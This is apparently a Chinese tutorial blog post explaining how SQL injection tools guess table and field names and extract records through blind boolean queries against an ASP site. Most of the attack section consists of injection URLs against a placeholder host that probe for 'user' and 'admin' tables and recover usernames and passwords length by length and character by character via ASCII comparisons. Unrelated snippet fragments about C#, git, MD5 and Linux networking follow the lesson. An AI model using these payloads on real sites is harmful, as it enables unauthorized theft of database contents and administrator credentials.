前面已经讲了关于是否存在注入点的说明.
现在讲下关于阿D注入和明小子检测存在注入猜表猜字段的原理.(使用工具一定要知道工具原理,方便后期自己完善/开发工具)
1.猜表的方法:
http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [user]) //查询是否存在user表
http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [admin]) //查询是否存在admin表
2.猜字段的方法:
http://xxx.com/ProductShow.asp?articleid=143 and exists(select username from [user]) //查询在user表是否存在username字段
http://xxx.com/ProductShow.asp?articleid=143 and exists(select password from [user]) //查询在user表是否存在password字段
3.逐个记录的获取和暴库
(1).先查询user表第一个记录中username的字段长度
http://xxx.com/ProductShow.asp?articleid=143 and (select top 1 len(username ) from [user])=1 //测试第一个记录用户名长度是不是1
http://xxx.com/ProductShow.asp?articleid=143 and (select top 1 len(username ) from [user])=2 //测试第一个记录用户名长度是不是2
.........直到测试正确
(2).从上面记录到第一条记录的username的长度(假设是5),开始猜测这个username5位到底是什么,方法就是1位1位的猜测,毕竟
ASCII码不多
http://xxx.com/ProductShow.asp?articleid=143 and (select top 1 asc(mid(user_name ,1,1)) from [user])=97 //测试username第1位是不是a(ASCII中97是字母a)
http://xxx.com/ProductShow.asp?articleid=143 and (select top 1 asc(mid(user_name ,2,1)) from [user])=98 //测试username第2位是不是b(ASCII中98是字母b)
.........直到测试正确
通过工具循环测试很快完成检测整个表中的所有记录
c#中string和StringBuilder直接看看执行速度。(2).String类型累计赋值Test  ...
日志查看:git log版本切换:方式1:git reset --hard HEAD^ 倒退一个版本git reset --hard HEAD^^ 倒退两个版本方式2:(版本号的形式,建议版本号码补充完...
1.关机Process.Start("shutdown", "-s -t 0"); 2. 注销 Proc...
public static string GetMD5(string str) { //创建MD5对象 MD5 md5 = MD5.C...
首先网页全部是纯静态的文件,本地测试正常访问,服务器端无法加载CSS,并且无法查看CSS文件的内容。 解决方案:关闭网站的压缩->>静态压缩和动态压缩...
1.设置桥接模式,复制物理网络状态2.编辑/etc/sysconfig/network-scripts/ifcfg-eth0以下配置:(如果没有自己创建对应选项)ONBOOT=yes NM_CONTROLLED=noBOOTPROTO=staticIPADDR=192.168.2.240...